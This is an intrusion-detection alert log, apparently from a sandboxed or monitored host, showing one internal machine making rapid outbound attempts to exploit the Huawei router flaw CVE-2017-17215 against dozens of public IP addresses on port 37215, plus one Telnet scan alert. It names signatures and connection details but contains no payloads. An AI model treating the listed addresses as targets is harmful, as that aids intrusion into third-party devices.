Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.81.115.15

Timestamp:	2024-07-26T17:42:24.297382+0200
SID:	2835222
Source Port:	35352
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.6.148.23

Timestamp:	2024-07-26T17:42:23.237998+0200
SID:	2835222
Source Port:	40810
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.69.7.86

Timestamp:	2024-07-26T17:42:27.005428+0200
SID:	2835222
Source Port:	54018
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.233.87.97

Timestamp:	2024-07-26T17:42:24.473493+0200
SID:	2835222
Source Port:	50358
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.86.174.115

Timestamp:	2024-07-26T17:43:24.574254+0200
SID:	2835222
Source Port:	39382
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 213.97.112.105

Timestamp:	2024-07-26T17:42:23.254755+0200
SID:	2835222
Source Port:	60700
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 38.149.135.151

Timestamp:	2024-07-26T17:43:24.496351+0200
SID:	2835222
Source Port:	55718
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.26.41.8

Timestamp:	2024-07-26T17:42:03.751817+0200
SID:	2835222
Source Port:	52262
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.28.73.187

Timestamp:	2024-07-26T17:42:33.101565+0200
SID:	2835222
Source Port:	44458
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.167.142.160

Timestamp:	2024-07-26T17:42:22.846961+0200
SID:	2835222
Source Port:	55860
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.174.75.69

Timestamp:	2024-07-26T17:42:22.848710+0200
SID:	2835222
Source Port:	35202
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.237.142.35

Timestamp:	2024-07-26T17:42:23.166545+0200
SID:	2835222
Source Port:	47378
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.151.142.201

Timestamp:	2024-07-26T17:42:52.054806+0200
SID:	2835222
Source Port:	54652
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.219.122.85

Timestamp:	2024-07-26T17:42:24.301858+0200
SID:	2835222
Source Port:	51974
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.57.135.146

Timestamp:	2024-07-26T17:42:52.052546+0200
SID:	2835222
Source Port:	35598
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.160.10.123

Timestamp:	2024-07-26T17:42:22.895360+0200
SID:	2835222
Source Port:	48270
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 84.34.46.1

Timestamp:	2024-07-26T17:42:24.313541+0200
SID:	2835222
Source Port:	40582
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.180.119.91

Timestamp:	2024-07-26T17:42:24.287840+0200
SID:	2835222
Source Port:	35734
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.119.114.214

Timestamp:	2024-07-26T17:42:24.320501+0200
SID:	2835222
Source Port:	42592
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.186.224.225

Timestamp:	2024-07-26T17:43:21.683970+0200
SID:	2835222
Source Port:	48170
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 48.151.70.89

Timestamp:	2024-07-26T17:42:23.005059+0200
SID:	2835222
Source Port:	54740
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.157.133.12

Timestamp:	2024-07-26T17:42:30.926552+0200
SID:	2835222
Source Port:	59856
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.35.74.102

Timestamp:	2024-07-26T17:42:35.410112+0200
SID:	2835222
Source Port:	35322
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 198.182.2.219

Timestamp:	2024-07-26T17:42:52.053910+0200
SID:	2835222
Source Port:	42942
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.190.72.108

Timestamp:	2024-07-26T17:42:58.931073+0200
SID:	2835222
Source Port:	54164
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.54.9.247

Timestamp:	2024-07-26T17:42:44.179097+0200
SID:	2835222
Source Port:	43788
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.102.218.128

Timestamp:	2024-07-26T17:43:24.744358+0200
SID:	2835222
Source Port:	48634
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.64.35.71

Timestamp:	2024-07-26T17:42:23.602194+0200
SID:	2835222
Source Port:	37064
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.119.249.158

Timestamp:	2024-07-26T17:42:24.222003+0200
SID:	2835222
Source Port:	51200
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.92.132.216

Timestamp:	2024-07-26T17:42:56.988461+0200
SID:	2835222
Source Port:	51390
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.102.234.79

Timestamp:	2024-07-26T17:43:22.213085+0200
SID:	2835222
Source Port:	57726
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.204.149.101

Timestamp:	2024-07-26T17:42:27.582928+0200
SID:	2835222
Source Port:	45830
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.172.196.209

Timestamp:	2024-07-26T17:42:56.988504+0200
SID:	2835222
Source Port:	50774
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 155.192.202.50

Timestamp:	2024-07-26T17:42:24.319648+0200
SID:	2835222
Source Port:	38686
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.65.200.155

Timestamp:	2024-07-26T17:42:35.371726+0200
SID:	2835222
Source Port:	39814
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.210.89.60

Timestamp:	2024-07-26T17:42:23.195579+0200
SID:	2835222
Source Port:	49120
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 36.203.22.43

Timestamp:	2024-07-26T17:43:27.099046+0200
SID:	2835222
Source Port:	43852
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.97.33.171

Timestamp:	2024-07-26T17:42:40.508090+0200
SID:	2835222
Source Port:	49088
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 221.102.213.196

Timestamp:	2024-07-26T17:42:56.991958+0200
SID:	2835222
Source Port:	53050
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 153.193.64.22

Timestamp:	2024-07-26T17:43:24.298927+0200
SID:	2835222
Source Port:	33294
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.178.84.90

Timestamp:	2024-07-26T17:42:24.287665+0200
SID:	2835222
Source Port:	50306
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 2.119.122.128

Timestamp:	2024-07-26T17:42:58.931120+0200
SID:	2835222
Source Port:	60732
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.35.94.210

Timestamp:	2024-07-26T17:42:32.927164+0200
SID:	2835222
Source Port:	54384
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.173.151.163

Timestamp:	2024-07-26T17:42:25.612220+0200
SID:	2835222
Source Port:	40130
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.242.228.108

Timestamp:	2024-07-26T17:42:02.255120+0200
SID:	2835222
Source Port:	38458
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.11.65.133

Timestamp:	2024-07-26T17:42:22.977009+0200
SID:	2835222
Source Port:	43790
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 99.20.86.61

Timestamp:	2024-07-26T17:42:40.406693+0200
SID:	2835222
Source Port:	44016
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.120.92.208

Timestamp:	2024-07-26T17:43:00.592506+0200
SID:	2835222
Source Port:	36918
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.55.10.170

Timestamp:	2024-07-26T17:42:23.661028+0200
SID:	2835222
Source Port:	59606
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.63.65.79

Timestamp:	2024-07-26T17:42:25.520747+0200
SID:	2835222
Source Port:	53874
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 119.41.119.182

Timestamp:	2024-07-26T17:42:38.391929+0200
SID:	2835222
Source Port:	34044
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.64.226.235

Timestamp:	2024-07-26T17:43:32.177267+0200
SID:	2835222
Source Port:	53598
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 178.158.124.246

Timestamp:	2024-07-26T17:42:41.972935+0200
SID:	2835222
Source Port:	38070
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.1.156.179

Timestamp:	2024-07-26T17:42:03.751901+0200
SID:	2835222
Source Port:	48914
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 81.231.93.24

Timestamp:	2024-07-26T17:42:35.410237+0200
SID:	2835222
Source Port:	35768
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 204.150.224.202

Timestamp:	2024-07-26T17:43:32.377075+0200
SID:	2835222
Source Port:	44814
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 97.254.79.70

Timestamp:	2024-07-26T17:42:03.752072+0200
SID:	2835222
Source Port:	39956
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.163.124.3

Timestamp:	2024-07-26T17:42:27.003890+0200
SID:	2835222
Source Port:	57184
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 18.125.183.67

Timestamp:	2024-07-26T17:43:32.158441+0200
SID:	2835222
Source Port:	60644
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.120.247.163

Timestamp:	2024-07-26T17:42:54.301870+0200
SID:	2835222
Source Port:	48758
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.125.60.232

Timestamp:	2024-07-26T17:43:10.501151+0200
SID:	2835222
Source Port:	58518
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.121.253.62

Timestamp:	2024-07-26T17:42:24.256757+0200
SID:	2835222
Source Port:	42792
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 126.255.146.247

Timestamp:	2024-07-26T17:42:23.275312+0200
SID:	2835222
Source Port:	40324
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.75.88.164

Timestamp:	2024-07-26T17:43:10.502982+0200
SID:	2835222
Source Port:	46258
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.208.106.86

Timestamp:	2024-07-26T17:42:22.975556+0200
SID:	2835222
Source Port:	51144
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.42.124.202

Timestamp:	2024-07-26T17:42:16.209335+0200
SID:	2835222
Source Port:	48216
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 71.49.207.63

Timestamp:	2024-07-26T17:42:03.751815+0200
SID:	2835222
Source Port:	38118
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.50.214.20

Timestamp:	2024-07-26T17:42:32.923783+0200
SID:	2835222
Source Port:	46824
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.105.178.182

Timestamp:	2024-07-26T17:42:38.336979+0200
SID:	2835222
Source Port:	51146
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.27.21.97

Timestamp:	2024-07-26T17:43:10.504314+0200
SID:	2835222
Source Port:	45738
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.61.123.126

Timestamp:	2024-07-26T17:42:24.316412+0200
SID:	2835222
Source Port:	44786
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.116.207.198

Timestamp:	2024-07-26T17:42:22.860163+0200
SID:	2835222
Source Port:	60248
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.134.228.22

Timestamp:	2024-07-26T17:42:24.256374+0200
SID:	2835222
Source Port:	59548
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 192.17.125.10

Timestamp:	2024-07-26T17:42:22.937919+0200
SID:	2835222
Source Port:	51760
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.75.245.73

Timestamp:	2024-07-26T17:42:24.287930+0200
SID:	2835222
Source Port:	43448
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.1.195.42

Timestamp:	2024-07-26T17:43:32.302811+0200
SID:	2835222
Source Port:	58996
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.87.177.118

Timestamp:	2024-07-26T17:42:23.545190+0200
SID:	2835222
Source Port:	39856
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 146.76.68.31

Timestamp:	2024-07-26T17:43:12.149134+0200
SID:	2835222
Source Port:	58294
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 107.181.49.106

Timestamp:	2024-07-26T17:42:04.890855+0200
SID:	2835222
Source Port:	58180
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 61.22.190.108

Timestamp:	2024-07-26T17:42:22.851209+0200
SID:	2835222
Source Port:	48448
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 2.38.61.27

Timestamp:	2024-07-26T17:42:23.045155+0200
SID:	2835222
Source Port:	51376
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.151.238.8

Timestamp:	2024-07-26T17:42:23.195780+0200
SID:	2835222
Source Port:	53334
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.93.43.13

Timestamp:	2024-07-26T17:42:24.485053+0200
SID:	2835222
Source Port:	50588
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.248.110.12

Timestamp:	2024-07-26T17:42:03.751950+0200
SID:	2835222
Source Port:	52678
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.63.211.250

Timestamp:	2024-07-26T17:42:23.159195+0200
SID:	2835222
Source Port:	56174
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET SCAN Behavioral Unusually fast outbound Telnet Connections, Potential Scan or Brute Force - Source IP: 192.168.2.15 - Destination IP: 44.17.242.63

Timestamp:	2024-07-26T17:43:00.381780+0200
SID:	2008230
Source Port:	59728
Destination Port:	23
Protocol:	TCP
Classtype:	Misc activity

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.132.184.94

Timestamp:	2024-07-26T17:42:03.752078+0200
SID:	2835222
Source Port:	46410
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 195.140.93.82

Timestamp:	2024-07-26T17:43:34.316507+0200
SID:	2835222
Source Port:	37604
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 52.37.40.88

Timestamp:	2024-07-26T17:42:03.751909+0200
SID:	2835222
Source Port:	40288
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.234.180.170

Timestamp:	2024-07-26T17:43:02.605212+0200
SID:	2835222
Source Port:	50232
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.245.32.35

Timestamp:	2024-07-26T17:43:34.311470+0200
SID:	2835222
Source Port:	47850
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.130.107.44

Timestamp:	2024-07-26T17:42:22.866774+0200
SID:	2835222
Source Port:	51484
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.92.59.10

Timestamp:	2024-07-26T17:43:32.175180+0200
SID:	2835222
Source Port:	52136
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.106.151.177

Timestamp:	2024-07-26T17:43:10.506106+0200
SID:	2835222
Source Port:	43070
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.116.40.233

Timestamp:	2024-07-26T17:42:46.315845+0200
SID:	2835222
Source Port:	56736
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.13.60.238

Timestamp:	2024-07-26T17:42:40.393104+0200
SID:	2835222
Source Port:	50290
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.94.4.152

Timestamp:	2024-07-26T17:42:22.988596+0200
SID:	2835222
Source Port:	45118
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.122.19.30

Timestamp:	2024-07-26T17:42:24.228000+0200
SID:	2835222
Source Port:	33256
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.160.14.148

Timestamp:	2024-07-26T17:42:51.609205+0200
SID:	2835222
Source Port:	39730
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

